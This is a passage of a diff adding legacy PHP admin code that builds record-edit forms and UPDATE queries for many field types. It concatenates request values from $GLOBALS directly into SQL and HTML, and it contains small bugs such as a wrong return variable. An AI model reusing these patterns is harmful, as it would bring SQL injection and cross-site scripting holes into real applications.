+                                               case "DISPLAY":
+                                                       for( $i=0 ; $i<count($bmap) ; $i++ )
+                                                               if( $bmap[$i] != ' ' )
+                                                                       {
+                                                                       $x = $data[$field[0]] & pow( 2, $i ) ? "Yes" : "No";            // Check if this bit set
+                                                                       $out[$outcount]["value"] .= $x.": ".$bmap[$i].'<BR>';
+                                                                       }
+                                                       break;
+
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+                                               
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       if( $out[$outcount]["value"] == '' )
+                                               $out[$outcount]["value"] = '(no options listed)';
+                                       break;
+
+                               case "list":
+
+                                               // If picklist options
+                                       $p = !empty($f[3]) ? $f[3] : "" ;
+                               
+                                       $option_table = "";
+                                       $opts = explode_trim( "~", $f[1] );     // Separate list options
+                                       $def_value = !empty($f[2]) ? $f[2] : "" ;
+
+                                               // If there's no current value, use default for current picklist option
+                               
+                                       if( trim($data[$field[0]]) == "" )
+                                               $current_value = $f[2];
+                                         else
+                                               $current_value = $data[$field[0]];
+                                               
+                                       foreach( $opts as $opt )
+                                               {
+                                               $os = explode_trim( "^", $opt );        // Separate value from displayed text
+                                               $option_table[$os[0]] = $os[1];
+                                               }
+
+                                       switch( $field[3] )     // {required} setting
+                                               {
+                                               case "DISPLAY":
+                                                       $out[$outcount]['value'] = $option_table[$data[$field[0]]];
+                                                       break;
+                                               default:
+                                                       if( strstr( 'multi', $f[3] ) )
+                                                               $data[$field[0]] = explode( '~', $data[$field[0]] );
+                                                       $out[$outcount]["value"] = build_picklist( $field[0], $option_table, $data[$field[0]], "standard", $p );
+                                                       break;
+                                               }
+                                       break;
+                               
+                               case "state":
+                                       switch( $field[3] )     // {required} setting
+                                               {
+                                               case "DISPLAY":
+                                                       $out[$outcount]['value'] = $GLOBALS['si_states_array'][$data[$field[0]]];
+                                                       break;
+                                               default:
+                                                       $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_states_array'], $data[$field[0]], "standard", $f[2] );
+                                               }
+                                       break;
+                               
+                               case "country":
+                                       switch( $field[3] )     // {required} setting
+                                               {
+                                               case "DISPLAY":
+                                                       $out[$outcount]['value'] = $GLOBALS['si_states_array'][$data[$field[0]]];
+                                                       break;
+                                               default:
+                                                       $out[$outcount]["value"] = build_picklist( $field[0], $GLOBALS['si_countries_array'], $data[$field[0]], "standard", $f[2] );
+                                               }
+                                       break;
+                               
+                               case "break":
+                                       if( !empty($f[1]) )     // if {t1} is supplied
+                                               $out[$outcount]["value"] = $f[1];
+                                           else
+                                               $out[$outcount]["value"] = '<FONT COLOR="red">No {text} supplied for type "break"</FONT>';
+                                       break;
+
+                               default:
+                                       $out[$outcount]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$f[0].' for '.$field[0].'</FONT>';
+                                       break;
+                                       
+                               } // switch( field )
+                       
+                       $outcount++;
+                       } // foreach( field )
+               
+               }
+           else
+               {
+               $ret .=  '      <CENTER>(No results found)</CENTER>
+                       <P>
+                    ';
+               return;
+               }
+
+       $submit = '
+                       <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+                       <INPUT TYPE="submit" NAME="Option" VALUE="Update">
+                       ';
+                       
+               // Replace parameters in Title                  
+
+       for( $i=0 ; $i<$outcount ; $i++ )
+               {
+               $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+               $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+               }
+
+       $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+       
+               // Add QuickTip if provided
+               
+       if( trim($quick_tip) != '' )
+               $a_title = quick_tip( $a_title, $quick_tip );
+       
+               // Output Results
+                                       
+                       // Display top of page
+               
+       $ret .=  '<CENTER>
+               <FORM ENCTYPE="multipart/form-data" ACTION="'.$url.'" METHOD="post" NAME="'.$form_name.'">
+                       <INPUT TYPE="hidden" NAME="id" VALUE="'.$id.'">
+            ';
+            
+       if( empty($view) )      // If there's no format spec in $view
+               {
+               $ret .=  '<CENTER>'.$a_title.'
+                       <FONT COLOR="red">(Required fields in red)</FONT><BR>
+                       <TABLE BORDER="'.$borders.'"'.($borders>0?' CELLPADDING="5"':'').'>
+                    ';
+                    
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       if( !$out[$i]["hidden"] )
+                               $ret .=  '<TR><TH ALIGN="right" VALIGN="top">'.$out[$i]["name"]
+                               .'&nbsp;</TH><TD ALIGN="left">'.$out[$i]["value"].'&nbsp;</TD></TR>
+                                    ';
+                       }
+               $ret .=  '      <P>
+                       </TABLE>'.$form_params.$submit; // Output the Update submit button
+                       
+               }
+         else  // Otherwise use $view to output data
+               {
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+                       $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+                       }
+               $view = ereg_replace( "\\{submit\\}", $submit, $view );
+               $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+               $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+               $ret .=  '<CENTER>'.$a_title.$view;
+               }
+
+               // If HTMLArea is used, attach scripts to set that up to submit button tags
+               
+       if( $richtext_used )
+               $ret .=  htmlarea_setup_script();
+
+       $ret .=  '
+               </FORM>
+               </CENTER>
+            ';
+
+       return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+
+function admin_edit_record( $table, $conn_str, $id, $fields, $url, $action, 
+                       $params, $a_title, $view = "", $options = "", $quick_tip = "" )
+{
+
+       $r = admin_edit_record_r( $table, $conn_str, $id, $fields, $url, $action, 
+                       $params, $a_title, $view, $options, $quick_tip );
+       echo $r['text'];
+       return( $f['status'] );
+}
+
+
+
+
+       // Update an edited record
+
+function admin_update_record_r( $table, $conn_str, $id, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+
+       $ret = '';
+       
+               // Make all submitted parameters available
+       
+//     extract($GLOBALS[HTTP_POST_VARS]);
+//     extract($GLOBALS[HTTP_GET_VARS]);       
+//     extract($GLOBALS[HTTP_POST_FILES]);
+       
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+            
+               // Get the current data for reference and to make sure it exists
+
+       $query_string = "SELECT * FROM ".$table." WHERE id = ".$id.";";
+       if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_update_record()[".__LINE__."]: Get old record = $query_string</PRE><BR>";       
+       $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+
+       $update_record = true;  // Assume update is going to succeed.
+
+       if( $data )
+               { 
+
+                       // Break out configuration data
+               
+               $field_table = explode_trim( "|", $fields );
+
+                       // Don't be surprised if last field is blank
+               
+               if( trim($field_table[count($field_table)-1]) == "" )
+                       array_pop( $field_table );
+
+               foreach( $field_table as $key => $r )
+                       $field_table[$key] = explode_trim( ",", $r );
+
+               $result = $problem = $not_supplied = "";
+               $qs = '';
+
+                       // For each field in the result
+                               
+               $comma = "";    // first parameter doesn't need a comma in front of it
+
+               $outcount = 0;
+               foreach( $field_table as $field )
+                       {
+                       $f = explode_trim( ".", $field[1] );
+                       $fta = explode_trim( "~", $field[2] );
+                       $field_title_only = $fta[0];
+
+                       if( $field[3] != 'DISPLAY' )            // Don't even try to process a DISPLAY only field. No point to it! 
+                               switch( $f[0] )
+                                       {
+                                       
+                                       case "order":
+                                       case "int":
+                                       case "float":
+                                       case "fixed":
+                                       case "money":
+                                       case "pointer":
+                                       case "category":
+                                       
+                                                       // Handle special cases
+                                                       
+                                               switch( $f[0] )
+                                                       {
+                                                       case "money":
+                                                               $GLOBALS[$field[4]] = ereg_replace( "[\$,]", "", $GLOBALS[$field[4]] ); // Get rid of "$" and "," from silly users
+                                                               break;
+                                                               
+                                                       case "pointer":
+                                                       
+                                                                       // Check for add_field values - Add new value to pointer target record
+               
+                                                               if( ($add_value = trim($GLOBALS[$field[4].'_add_field'])) != '' )
+                                                                       {
+                                                                               // If value already exists warn user.
+                                                                               
+                                                                       if( db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE ".$f[2]." = '".trim($GLOBALS[$field[4].'_add_field'])."';", 0, $conn_str, $fail_mode ) )
+                                                                               $not_supplied .= $field_title_only.": Value already exists in pick list, don't try to add it again.<BR>";
+                                                                         else
+                                                                               {
+                                                                                       // Otherwise, add new value and use pointer to that
+                                                                                       
+                                                                               $add_result = db_auto_get_row( "INSERT INTO ".$f[1]." ( ".$f[2]." ) VALUES ( '".trim($GLOBALS[$field[4].'_add_field'])."' );
+                                                                                                                                               SELECT currval( '".$f[1]."_id_seq' ) AS id;", 0, $conn_str, $fail_mode );
+                                                                               $GLOBALS[$field[4]] = $add_result['id'];
+                                                                               }
+                                                                       }
+               
+                                                               break;
+                                                       }
+       
+                                               $qs .= $comma." ".$field[0]." = ";              // Add field name to update to query string
+                                               $comma = ",";
+                                               $out[$outcount]["value"] = $GLOBALS[$field[4]];
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                               $qs .= $GLOBALS[$field[4]];
+                                                               break;
+                                                       
+                                                       case "TRUE":
+                                                               if( !is_numeric($GLOBALS[$field[4]]) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                 else
+                                                                       $qs .= $GLOBALS[$field[4]];
+                                                               break;
+                                                       
+                                                       case "FALSE":
+                                                               if( is_numeric($GLOBALS[$field[4]]) )
+                                                                       $qs .= $GLOBALS[$field[4]];
+                                                                 else
+                                                                       $qs .= "0";     // Default to 0
+                                                               break;
+                                                       
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                               break;
+                                       
+                                       case "lat":
+                                               $qs .= $comma." ".$field[0]." = ";
+                                               $comma = ",";
+                                                       // If we've been passed a decimal degree value
+                                               if( !empty($GLOBALS[$field[4]]) )
+                                                       $v = $GLOBALS[$field[4]];
+                                                 else  // Otherwise compile from parts
+                                                       {
+                                                       if( $GLOBALS[$field[4].'_DEG'] > 90 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+                                                               {
+                                                               $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 90 and Minutes must be 0 to less than 60<BR>";
+                                                               break;
+                                                               }
+                                                       $v = ( $GLOBALS[$field[4].'_NS'] == "N" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+                                                       }
+                                               $fw = 2;
+                                                       // Rebuild value for display
+                                               if( $f[1] > 0 )
+                                                       $fw = $f[1];
+                                               $ns = 'N';
+                                               if( ($v2=$v) < 0 )
+                                                       {
+                                                       $ns = 'S';
+                                                       $v2 = -1 * $v2;
+                                                       }
+                                               $dv = (int) $v2;
+                                               $mv = ( $v2 - $dv ) * 60;
+                                               $out[$outcount]["value"] = sprintf( "%s %d&deg; %01.".$fw."f'", $ns, $dv, $mv );
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                       case "FALSE":
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       case "TRUE":
+                                                               if( empty($v) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                 else
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       case "UNIQUE":                                  
+                                                               if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       case "UNIQUE_NOT_REQ":                                  
+                                                               if( !empty($v) && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                               break;
+                                               
+                                       case "lon":
+                                               $qs .= $comma." ".$field[0]." = ";
+                                               $comma = ",";
+                                                       // If we've been passed a decimal degree value
+                                               if( !empty($GLOBALS[$field[4]]) )
+                                                       $v = $GLOBALS[$field[4]];
+                                                 else  // Otherwise compile from parts
+                                                       {
+                                                       if( $GLOBALS[$field[4].'_DEG'] > 180 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+                                                               {
+                                                               $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 180 and Minutes must be 0 to less than 60<BR>";
+                                                               break;
+                                                               }
+                                                       $v = ( $GLOBALS[$field[4].'_NS'] == "N" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+                                                       }
+                                               $fw = 2;
+                                                       // Rebuild value for display
+                                               if( $f[1] > 0 )
+                                                       $fw = $f[1];
+                                               $ns = 'E';
+                                               if( ($v2=$v) < 0 )
+                                                       {
+                                                       $ns = 'W';
+                                                       $v2 = -1 * $v2;
+                                                       }
+                                               $dv = (int) $v2;
+                                               $mv = ( $v2 - $dv ) * 60;
+                                               $out[$outcount]["value"] = sprintf( "%s %d&deg; %01.".$fw."f'", $ns, $dv, $mv );
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                       case "FALSE":
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       case "TRUE":
+                                                               if( empty($v) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                 else
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       case "UNIQUE":                                  
+                                                               if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       case "UNIQUE_NOT_REQ":                                  
+                                                               if( !empty($v) && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                               $qs .= $v;
+                                                               break;
+                                                               
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                       
+                                               break;
+       
+                                       case "password":
+                                       case "text":
+                                       case "inet":
+                                       case "list":
+                                       case "state":
+                                       case "country":
+                                       case "url":
+                                       case "textbox":
+                                       case "richtext":
+
+                                                       // Check for special cases
+                                       
+                                               switch( $f[0] )
+                                                       {
+
+                                                       case "password":
+                                                               if( $GLOBALS[$field[4]] != $GLOBALS[$field[4].'_verify'] )
+                                                                       $not_supplied .= $field_title_only.': The two copies of this password do not match. <BR>'; 
+                                                               break;
+                                               
+                                                       case "inet":
+                                                               if( ($r = clean_input( $field[0], 'inet' )) != '' )
+                                                                       $problem .= '<FONT COLOR="red">'.$field_title_only.': Not a valid IP address or netmask.</FONT><BR>';
+                                                               break;
+
+                                                       case "list":
+                                                                       // If 'multi' is selected for picklist option, then compile results from array
+                                                               if( strstr( $f[3], 'multi' ) )
+                                                                       {
+                                                                       $m_val = $sep = '';
+
+                                                                               // Place results in '~' separated string for storage.
+                                                                               
+                                                                       if( is_array($GLOBALS[$field[4]]) )
+                                                                               foreach( $GLOBALS[$field[4]] as $m )
+                                                                                       {
+                                                                                       $m_val .= $sep.$m;
+                                                                                       $sep = '~';
+                                                                                       }
+                                                                       $GLOBALS[$field[4]] = $m_val;
+                                                                       }
+                                                                                       
+                                                               break;
+                                               
+                                                       default:
+                                                               break;  
+                                                       }
+                                                               
+                                               $v = str_replace( "%27", "\'", $GLOBALS[$field[4]] );
+                                               if( trim(strip_tags($v)) == '' )
+                                                       $v = '';
+                                               $qs .= $comma." ".$field[0]." = ";              // Add field name to update to query string
+                                               $comma = ",";
+                                               $out[$outcount]["value"] = $v;
+                                               
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                               $qs .= "'".rawurldecode( $v )."'";
+                                                               break;
+                                                       
+                                                       case "TRUE":
+                                                               if( empty($v) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                 else
+                                                                       $qs .= "'".rawurldecode( $v )."'";
+                                                               break;
+                                                       
+       
+                                                       case "UNIQUE":
+                                                               if( $f[0] != text )
+                                                                       {
+                                                                       $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+                                                                       break;
+                                                                       }
+                                                                       
+                                                               if( empty($GLOBALS[$field[4]]) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                   else
+                                                                       {
+                                                                       $qs .= "'".rawurldecode( $GLOBALS[$field[4]] )."'";
+       
+                                                                                       // Check if value is used anywhere other than current record
+                                                                               
+                                                                       if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".rawurldecode( trim($v) )."' AND id != ".$id.";", 0, $conn_str, $fail_mode ) )
+                                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                                       }
+       
+                                                               break;
+                                                       
+                                                       case "UNIQUE_NOT_REQ":
+                                                               if( $f[0] != text )
+                                                                       {
+                                                                       $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+                                                                       break;
+                                                                       }
+                                                                       
+                                                               if( !empty($GLOBALS[$field[4]]) )
+                                                               {
+                                                                       $qs .= "'".rawurldecode( $GLOBALS[$field[4]] )."'";
+       
+                                                                                       // Check if value is used anywhere other than current record
+                                                                               
+                                                                       if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".rawurldecode( trim($v) )."' AND id != ".$id.";", 0, $conn_str, $fail_mode ) )
+                                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                                       }
+                                                                 else
+                                                                       $qs .= "''";
+       
+                                                               break;
+                                                       
+                                                       
+                                                       case "FALSE":
+                                                               $qs .= "'".rawurldecode( $v )."'";
+                                                               break;
+                                                       
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+       
+                                               break;
+                                       
+                                       case "date":
+                                               $qs .= $comma." ".$field[0]." = ";              // Add field name to update to query string
+                                               $comma = ",";
+                                               $out[$outcount]["value"] = $GLOBALS[$field[4]];
+       
+                                               if( trim($GLOBALS[$field[4]]) == "" )                   // Empty dates must be "NULL"
+                                                       $dval = "NULL";
+                                                 else
+                                                       $dval = "'".$GLOBALS[$field[4]]."'";
+                                                       
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                               $qs .= $dval;
+                                                               break;
+                                                       
+                                                       case "TRUE":
+                                                               if( empty($GLOBALS[$field[4]]) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                   else
+                                                                       $qs .= $dval;
+                                                               break;
+                                                       
+       
+                                                       case "UNIQUE":
+                                                               if( $field[1] != text )
+                                                                       {
+                                                                       $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+                                                                       break;
+                                                                       }
+                                                                       
+                                                               if( empty($GLOBALS[$field[4]]) )
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                   else
+                                                                       {
+                                                                       $qs .= $dval;
+       
+                                                                                       // Check if value is used anywhere other than current reccord
+                                                                               
+                                                                       if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."' AND id <> ".$id.";", 0, $conn_str, $fail_mode ) )
+                                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                                       }
+       
+                                                               break;
+                                                       
+                                                       case "UNIQUE_NOT_REQ":
+                                                               if( $field[1] != text )
+                                                                       {
+                                                                       $problem .= '<FONT COLOR="red">ERROR: UNIQUE only available for type "text"</FONT><BR>';
+                                                                       break;
+                                                                       }
+                                                                       
+                                                               if( !empty($GLOBALS[$field[4]]) )
+                                                                   {
+                                                                       $qs .= $dval;
+       
+                                                                                       // Check if value is used anywhere other than current reccord
+                                                                               
+                                                                       if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."' AND id <> ".$id.";", 0, $conn_str, $fail_mode ) )
+                                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                                       }
+                                                                 else
+                                                                       $qs .= $dval;
+       
+                                                               break;
+                                                       
+                                                       
+                                                       case "FALSE":
+                                                               $qs .= $dval;
+                                                               break;
+                                                       
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                               break;
+                                       
+                                       case "multifield":
+                                       
+                                               $line = 0;
+                                               $empty = TRUE;
+                                               $m_data = array();
+       
+                                                       // Build array of data to store
+                                               while( isset( $GLOBALS[$field[4].'_'.($line+1).'_1'] ) )
+                                                       {
+                                                       $line++;
+                                                       if( trim($GLOBALS[$field[4].'_'.$line.'_1']) != '' )
+                                                               {
+                                                               $a = array();
+                                                               for( $i=1 ; $i<=$f[1] ; $i++ )
+                                                                       {
+                                                                       $a[$i-1] = trim( str_replace("%27", "\'", $GLOBALS[$field[4].'_'.($line).'_'.$i] ) );
+                                                                       if( $a[$i-1] != '' )
+                                                                               $empty = FALSE;
+                                                                       }
+                                                               array_push( $m_data, $a );
+                                                               }
+                                                       }
+                                                       
+                                               if( !$empty )
+                                                       $v = serialize( $m_data );
+                                                 else
+                                                       $v = '';
+                                               
+                                               $qs .= $comma." ".$field[0]." = "; // Add field name to update to query string
+                                               $comma = ",";
+                                               $out[$outcount]["value"] = $v;
+       
+                                               switch ($field[3])
+                                               {
+                                                       case "TRUE" :
+                                                               if (empty ($v))
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                               else
+                                                                       $qs .= "'".rawurldecode($v)."'";
+                                                               break;
+       
+                                                       case "FALSE" :
+                                                               $qs .= "'".rawurldecode($v)."'";
+                                                               break;
+       
+                                                       default :
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                               }
+       
+                                               break;
+                                       
+                                       case "image":
+                                               // Note that the image field is only updated when required so field name is set below along with value                  
+                                               $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                               $problem .= '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for image input</FONT>';
+                                                               break;
+                                               
+                                                       case "TRUE":
+                                                                       // If no image is supplied and there's no image in the database
+                                                               if( $GLOBALS[$field[4]."_name"] == "" && $data[$field[0]] == "" )
+                                                                       {
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                       break;
+                                                                       }
+                                                               
+                                                                       // If new image is supplied, replace old one
+                                                               if( $GLOBALS[$field[4]."_name"] != "" )
+                                                                       {
+                                                                       if( $data[$field[0]] != "" )
+                                                                               delete_image( $data[$field[0]] );
+                                                                       $qs .= $comma." ".$field[0]." = '".process_image( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+                                                                       $comma = ",";
+                                                                       }
+                                                               break;
+                                                       
+                                                       case "FALSE":
+                                                                       // If new image is supplied, store it
+                                                               if( $GLOBALS[$field[4]."_name"] != "" )
+                                                                       {
+                                                                       if( $data[$field[0]] )          // If there's already an image, delete it before storing the new one
+                                                                               delete_image( $data[$field[0]] );
+                                                                       $qs .= $comma." ".$field[0]." = '".process_image( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+                                                                       $comma = ",";
+                                                                       }
+                                                                       // Else, if there's an image in the database and we're deleting
+                                                                 elseif( $data[$field[0]] != "" && isset($GLOBALS[$field[0]."_DELETE"])  )
+                                                                       {
+                                                                       delete_image( $data[$field[0]] );
+                                                                       $qs .= $comma." ".$field[0]." = ''";    // Clear image name in database
+                                                                       $comma = ",";
+                                                                       }
+                                                               
+                                                               break;
+       
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                               break;
+       
+                                       case "images":
+       
+                                               // Note that the image field is only updated when required so field name is set below along with value                  
+       
+                                               $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+                                               switch( $field[3] )
+                                                       {
+                                                       case "FALSE":
+                                                               if( is_array( ($im_data = $GLOBALS[$field[4]]) ) )
+                                                                       {
+                                                                       $im_cur = unserialize( $data[$field[0]] );              // Convert existing data to an array
+                                                                       $im_new = array();
+                                                                       $im_new_num = 0;
+                                                                       for( $im_num=0 ; $im_num<count($GLOBALS[$field[0]."_name"]) ; $im_num++ )
+                                                                               {
+                                                                                       // If new image is supplied, store it
+                                                                               if( $GLOBALS[$field[0]."_name"][$im_num] != "" )
+                                                                                       {
+                                                                                       if( $im_cur[$im_num]['filename'] )              // If there's already an image, delete it before storing the new one
+                                                                                               delete_image( $im_cur[$im_num]['filename'] );
+                                                                                       $im_new[$im_new_num]['filename'] = process_image( $GLOBALS[$field[0]][$im_num], $GLOBALS[$field[0]."_name"][$im_num] );
+                                                                                       $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+                                                                                       $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+                                                                                       $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+                                                                                       $im_new_num++;
+                                                                                       }
+                                                                                               // Else, if there's an image in the database and we're deleting
+                                                                                 elseif( $im_cur[$im_num]['filename'] != "" && isset( $GLOBALS[$field[0]."_DELETE"][$im_num] )  )
+                                                                                       delete_image( $im_cur[$im_num]['filename'] );
+                                                                                 elseif( $im_cur[$im_num]['filename'] != "" )
+                                                                                       {
+                                                                                       $im_new[$im_new_num]['filename'] = $im_cur[$im_num]['filename'];
+                                                                                       $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+                                                                                       $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+                                                                                       $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+                                                                                       $im_new_num++;
+                                                                                       }       
+                                                                               }
+                                                                       $qs .= $comma." ".$field[0]." = '".serialize( $im_new )."'";
+                                                                       $comma = ",";
+                                                                       }                                                       
+       
+                                                               break;
+       
+                                                       case "TRUE":
+                                                       case "SUPPLIED":
+                                                       default:
+                                                               $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                                               break;
+                                                       }
+                                               break;
+       
+                                       case "file":
+
+                                                       // Note that the file field is only updated when required so field name is set below along with value
+                                                                       
+                                               $out[$outcount]["value"] = "FILES Not Available for View at this time";
+                                               
+                                                       // Check if file type is specified and if so does it match
+                                                       
+                                               if( isset( $f[1] ) && ($GLOBALS[$field[4]."_name"] != "") && !eregi( ".".$f[1]."$",$GLOBALS[$field[4]."_name"]) )
+                                                       {
+                                                       $not_supplied .= $field_title_only.': "'.$GLOBALS[$field[4]."_name"].'" is not correct file type. Must be:  '.$f[1]."<BR>";
+                                                       break;
+                                                       }
+                                                                                       
+                                               switch( $field[3] )
+                                                       {
+                                                       case "SUPPLIED":
+                                                               $problem .= '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for file input</FONT>';
+                                                               break;
+                                               
+                                                       case "TRUE":
+                                                       
+                                                                       // If no file is supplied and there's no file in the database
+
+                                                               if( $GLOBALS[$field[4]."_name"] == "" && $data[$field[0]] == "" )
+                                                                       {
+                                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                                       break;
+                                                                       }
+                                                               
+                                                                       // If new file is supplied, replace old one
+                                                               if( $GLOBALS[$field[4]."_name"] != "" )
+                                                                       {
+                                                                       if( $data[$field[0]] != "" )
+                                                                               file_delete( $data[$field[0]] );
+                                                                       $qs .= $comma." ".$field[0]." = '".file_upload( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+                                                                       $comma = ",";
+                                                                       }
+                                                               break;
+                                                       
+                                                       case "FALSE":
+
+                                                                       // If new file is supplied, store it
+                                                                       
+                                                               if( $GLOBALS[$field[4]."_name"] != "" )
+                                                                       {
+                                                                       if( $data[$field[0]] )          // If there's already a file, delete it before storing the new one
+                                                                               file_delete( $data[$field[0]] );
+                                                                       $qs .= $comma." ".$field[0]." = '".file_upload( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
